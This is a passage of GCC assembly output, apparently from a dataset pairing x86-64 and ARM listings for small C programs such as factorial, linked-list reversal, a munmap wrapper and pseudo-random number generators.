.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "763346.c"
.text
.align 2
.global fact
.syntax unified
.arm
.fpu softvfp
.type fact, %function
fact:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
b .L2
.L3:
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-8]
sub r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r3, #1
str r3, [fp, #-20]
.L2:
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L3
ldr r3, [fp, #-12]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size fact, .-fact
.align 2
.global fact_1
.syntax unified
.arm
.fpu softvfp
.type fact_1, %function
fact_1:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
mov r3, #1
str r3, [fp, #-12]
mov r3, #2
str r3, [fp, #-8]
b .L6
.L7:
ldr r3, [fp, #-12]
ldr r2, [fp, #-8]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L6:
ldr r2, [fp, #-8]
ldr r3, [fp, #-16]
cmp r2, r3
ble .L7
ldr r3, [fp, #-12]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size fact_1, .-fact_1
.section .rodata
.align 2
.LC0:
.ascii "%d%d\000"
.global __aeabi_idiv
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r2, fp, #20
sub r3, fp, #24
mov r1, r3
ldr r0, .L12+4
bl __isoc99_scanf
ldr r3, [fp, #-24]
ldr r2, [fp, #-20]
mov r1, r2
mov r0, r3
bl fact
mov r4, r0
ldr r3, [fp, #-20]
mov r0, r3
bl fact_1
mov r3, r0
mov r1, r3
mov r0, r4
bl __aeabi_idiv
mov r3, r0
mov r1, r3
ldr r0, .L12+8
bl printf
mov r3, #0
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L13:
.align 2
.L12:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "912008.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "First app on Yocto"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
.L2:
lea rdi, .LC0[rip]
call puts@PLT
mov edi, 10
mov eax, 0
call sleep@PLT
jmp .L2
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "912008.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "First app on Yocto\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
.L2:
ldr r0, .L3
bl puts
mov r0, #10
bl sleep
b .L2
.L4:
.align 2
.L3:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "247286.c"
.intel_syntax noprefix
.text
.globl addDigits
.type addDigits, @function
addDigits:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
lea edx, -1[rax]
movsx rax, edx
imul rax, rax, 954437177
shr rax, 32
sar eax
mov ecx, edx
sar ecx, 31
sub eax, ecx
mov ecx, eax
sal ecx, 3
add ecx, eax
mov eax, edx
sub eax, ecx
add eax, 1
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size addDigits, .-addDigits
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "247286.c"
.text
.align 2
.global addDigits
.syntax unified
.arm
.fpu softvfp
.type addDigits, %function
addDigits:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, [fp, #-16]
sub r1, r3, #1
ldr r3, .L3
smull r2, r3, r1, r3
asr r2, r3, #1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
sub r2, r1, r3
add r3, r2, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L4:
.align 2
.L3:
.word 954437177
.size addDigits, .-addDigits
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "570387.c"
.intel_syntax noprefix
.text
.globl reverseBetween
.type reverseBetween, @function
reverseBetween:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov DWORD PTR -60[rbp], esi
mov DWORD PTR -64[rbp], edx
cmp QWORD PTR -56[rbp], 0
je .L2
mov rax, QWORD PTR -56[rbp]
mov rax, QWORD PTR 8[rax]
test rax, rax
jne .L3
.L2:
mov rax, QWORD PTR -56[rbp]
jmp .L4
.L3:
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -40[rbp], rax
mov QWORD PTR -32[rbp], 0
mov DWORD PTR -44[rbp], 1
jmp .L5
.L6:
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -40[rbp], rax
add DWORD PTR -44[rbp], 1
.L5:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L6
mov QWORD PTR -24[rbp], 0
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR -44[rbp], eax
jmp .L7
.L8:
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -24[rbp], rax
add DWORD PTR -44[rbp], 1
.L7:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -64[rbp]
jle .L8
cmp QWORD PTR -32[rbp], 0
jne .L9
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -56[rbp], rax
jmp .L10
.L9:
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR 8[rax], rdx
.L10:
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -56[rbp]
.L4:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size reverseBetween, .-reverseBetween
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "570387.c"
.text
.align 2
.global reverseBetween
.syntax unified
.arm
.fpu softvfp
.type reverseBetween, %function
reverseBetween:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #44
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
ldr r3, [fp, #-32]
cmp r3, #0
beq .L2
ldr r3, [fp, #-32]
ldr r3, [r3, #4]
cmp r3, #0
bne .L3
.L2:
ldr r3, [fp, #-32]
b .L4
.L3:
ldr r3, [fp, #-32]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-24]
mov r3, #1
str r3, [fp, #-12]
b .L5
.L6:
ldr r3, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-28]
ldr r3, [r3, #4]
str r3, [fp, #-28]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L5:
ldr r2, [fp, #-12]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L6
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #-28]
str r3, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-8]
ldr r3, [fp, #-36]
str r3, [fp, #-12]
b .L7
.L8:
ldr r3, [fp, #-16]
str r3, [fp, #-28]
ldr r3, [fp, #-16]
ldr r3, [r3, #4]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
ldr r2, [fp, #-20]
str r2, [r3, #4]
ldr r3, [fp, #-28]
str r3, [fp, #-20]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L7:
ldr r2, [fp, #-12]
ldr r3, [fp, #-40]
cmp r2, r3
ble .L8
ldr r3, [fp, #-24]
cmp r3, #0
bne .L9
ldr r3, [fp, #-20]
str r3, [fp, #-32]
b .L10
.L9:
ldr r3, [fp, #-24]
ldr r2, [fp, #-20]
str r2, [r3, #4]
.L10:
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
str r2, [r3, #4]
ldr r3, [fp, #-32]
.L4:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size reverseBetween, .-reverseBetween
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "21739.c"
.intel_syntax noprefix
.text
.type dummy, @function
dummy:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size dummy, .-dummy
.globl __munmap
.type __munmap, @function
__munmap:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov eax, 0
call __vm_wait@PLT
mov rdx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
mov edi, 11
mov eax, 0
call __syscall@PLT
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size __munmap, .-__munmap
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "21739.c"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type dummy, %function
dummy:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size dummy, .-dummy
.align 2
.global __munmap
.syntax unified
.arm
.fpu softvfp
.type __munmap, %function
__munmap:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
bl __vm_wait
ldr r2, [fp, #-12]
ldr r1, [fp, #-8]
mov r0, #91
bl __syscall
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size __munmap, .-__munmap
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "756809.c"
.intel_syntax noprefix
.text
.local random_seed_montecarlo
.comm random_seed_montecarlo,4,4
.globl key2
.section .rodata
.align 8
.type key2, @object
.size key2, 8
key2:
.zero 8
.text
.globl random_seed
.type random_seed, @function
random_seed:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call clock@PLT
mov DWORD PTR random_seed_montecarlo[rip], eax
mov eax, DWORD PTR random_seed_montecarlo[rip]
mov edi, eax
call srand@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size random_seed, .-random_seed
.globl ran1
.type ran1, @function
ran1:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
call rand@PLT
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, QWORD PTR .LC0[rip]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size ran1, .-ran1
.globl ran2
.type ran2, @function
ran2:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], 1234567898
mov rax, QWORD PTR a.2[rip]
imul rax, rax, 32719
lea rcx, 3[rax]
movabs rdx, -9218020909531796763
mov rax, rcx
imul rdx
lea rax, [rdx+rcx]
sar rax, 14
mov rdx, rcx
sar rdx, 63
sub rax, rdx
imul rdx, rax, 32749
mov rax, rcx
sub rax, rdx
mov QWORD PTR a.2[rip], rax
mov rax, QWORD PTR a.2[rip]
cqo
idiv QWORD PTR -8[rbp]
mov rax, rdx
add rax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
pxor xmm1, xmm1
cvtsi2sd xmm1, QWORD PTR -8[rbp]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size ran2, .-ran2
.globl ran3
.type ran3, @function
ran3:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], 1234567898
mov rdx, QWORD PTR a.1[rip]
mov rax, rdx
sal rax, 5
sub rax, rdx
sal rax, 2
lea rcx, [rax+rdx]
movabs rdx, 211106207367171
mov rax, rcx
imul rdx
mov rax, rdx
sar rax, 5
mov rdx, rcx
sar rdx, 63
sub rax, rdx
imul rdx, rax, 2796203
mov rax, rcx
sub rax, rdx
mov QWORD PTR a.1[rip], rax
mov rax, QWORD PTR a.1[rip]
cqo
idiv QWORD PTR -8[rbp]
mov rax, rdx
pxor xmm1, xmm1
cvtsi2sd xmm1, rax
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
pxor xmm1, xmm1
cvtsi2sd xmm1, QWORD PTR -8[rbp]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size ran3, .-ran3
.globl ran4
.type ran4, @function
ran4:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], 1234567898
mov rax, QWORD PTR a.0[rip]
imul rax, rax, 214013
add rax, 2531011
sar rax, 16
and eax, 32767
mov QWORD PTR a.0[rip], rax
mov rax, QWORD PTR a.0[rip]
cqo
idiv QWORD PTR -8[rbp]
mov rax, rdx
add rax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
pxor xmm1, xmm1
cvtsi2sd xmm1, QWORD PTR -8[rbp]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size ran4, .-ran4
.globl RandomRange
.type RandomRange, @function
RandomRange:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
movsd QWORD PTR -8[rbp], xmm0
movsd QWORD PTR -16[rbp], xmm1
mov eax, 0
call ran1
movsd xmm1, QWORD PTR -16[rbp]
subsd xmm1, QWORD PTR -8[rbp]
mulsd xmm0, xmm1
addsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size RandomRange, .-RandomRange
.section .data.rel.local,"aw"
.align 8
.type a.2, @object
.size a.2, 8
a.2:
.quad random_seed_montecarlo
.align 8
.type a.1, @object
.size a.1, 8
a.1:
.quad random_seed_montecarlo
.align 8
.type a.0, @object
.size a.0, 8
a.0:
.quad random_seed_montecarlo
.section .rodata
.align 8
.LC0:
.long -4194304
.long 1105199103
.align 8
.LC1:
.long 0
.long 1072693248
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "756809.c"
.text
.local random_seed_montecarlo
.comm random_seed_montecarlo,4,4
.comm key2,4,4
.align 2
.global random_seed
.syntax unified
.arm
.fpu softvfp
.type random_seed, %function
random_seed:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl clock
mov r3, r0
ldr r2, .L2
str r3, [r2]
ldr r3, .L2
ldr r3, [r3]
mov r0, r3
bl srand
nop
pop {fp, pc}
.L3:
.align 2
.L2:
.word random_seed_montecarlo
.size random_seed, .-random_seed
.global __aeabi_i2d
.global __aeabi_ddiv
.align 2
.global ran1
.syntax unified
.arm
.fpu softvfp
.type ran1, %function
ran1:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl rand
mov r3, r0
mov r0, r3
bl __aeabi_i2d
ldr r2, .L6
ldr r3, .L6+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
pop {fp, pc}
.L7:
.align 2
.L6:
.word -4194304
.word 1105199103
.size ran1, .-ran1
.global __aeabi_idivmod
.align 2
.global ran2
.syntax unified
.arm
.fpu softvfp
.type ran2, %function
ran2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
ldr r3, .L10
str r3, [fp, #-16]
ldr r3, .L10+4
ldr r2, [r3]
mov r3, r2
lsl r3, r3, #9
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #4
sub r3, r3, r2
add r1, r3, #3
ldr r3, .L10+8
smull r2, r3, r1, r3
add r3, r3, r1
asr r2, r3, #14
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #11
sub r3, r3, r2
lsl r3, r3, #2
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
sub r2, r1, r3
ldr r3, .L10+4
str r2, [r3]
ldr r3, .L10+4
ldr r3, [r3]
ldr r1, [fp, #-16]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r4, r0
mov r5, r1
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L11:
.align 2
.L10:
.word 1234567898
.word a.5242
.word -2146237741
.size ran2, .-ran2
.global __aeabi_dadd
.align 2
.global ran3
.syntax unified
.arm
.fpu softvfp
.type ran3, %function
ran3:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
ldr r3, .L14
str r3, [fp, #-16]
ldr r3, .L14+4
ldr r2, [r3]
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
ldr r2, .L14+8
smull r1, r2, r3, r2
add r2, r2, r3
asr r1, r2, #21
asr r2, r3, #31
sub r2, r1, r2
ldr r1, .L14+12
mul r2, r1, r2
sub r2, r3, r2
ldr r3, .L14+4
str r2, [r3]
ldr r3, .L14+4
ldr r3, [r3]
ldr r1, [fp, #-16]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L14+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L15:
.align 2
.L14:
.word 1234567898
.word a.5246
.word -1073742207
.word 2796203
.word 1072693248
.size ran3, .-ran3
.align 2
.global ran4
.syntax unified
.arm
.fpu softvfp
.type ran4, %function
ran4:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
ldr r3, .L18
str r3, [fp, #-16]
ldr r3, .L18+4
ldr r3, [r3]
ldr r2, .L18+8
mul r2, r3, r2
ldr r3, .L18+12
add r3, r2, r3
asr r3, r3, #16
lsl r3, r3, #17
lsr r3, r3, #17
ldr r2, .L18+4
str r3, [r2]
ldr r3, .L18+4
ldr r3, [r3]
ldr r1, [fp, #-16]
mov r0, r3
bl __aeabi_idivmod
mov r3, r1
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r4, r0
mov r5, r1
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L19:
.align 2
.L18:
.word 1234567898
.word a.5250
.word 214013
.word 2531011
.size ran4, .-ran4
.global __aeabi_dsub
.global __aeabi_dmul
.align 2
.global RandomRange
.syntax unified
.arm
.fpu softvfp
.type RandomRange, %function
RandomRange:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #16
str r0, [fp, #-20]
str r1, [fp, #-16]
str r2, [fp, #-28]
str r3, [fp, #-24]
bl ran1
mov r4, r0
mov r5, r1
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size RandomRange, .-RandomRange
.data
.align 2
.type a.5242, %object
.size a.5242, 4
a.5242:
.word random_seed_montecarlo
.align 2
.type a.5246, %object
.size a.5246, 4
a.5246:
.word random_seed_montecarlo
.align 2
.type a.5250, %object
.size a.5250, 4
a.5250:
.word random_seed_montecarlo
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "546613.c"
.intel_syntax noprefix
.text
.globl climb
.type climb, @function
climb:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
test eax, eax
je .L2
mov eax, DWORD PTR -20[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
jmp .L3
.L2:
mov eax, DWORD PTR -20[rbp]
lea edx, -1[rax]
mov rax, QWORD PTR -32[rbp]
mov rsi, rax
mov edi, edx
call climb
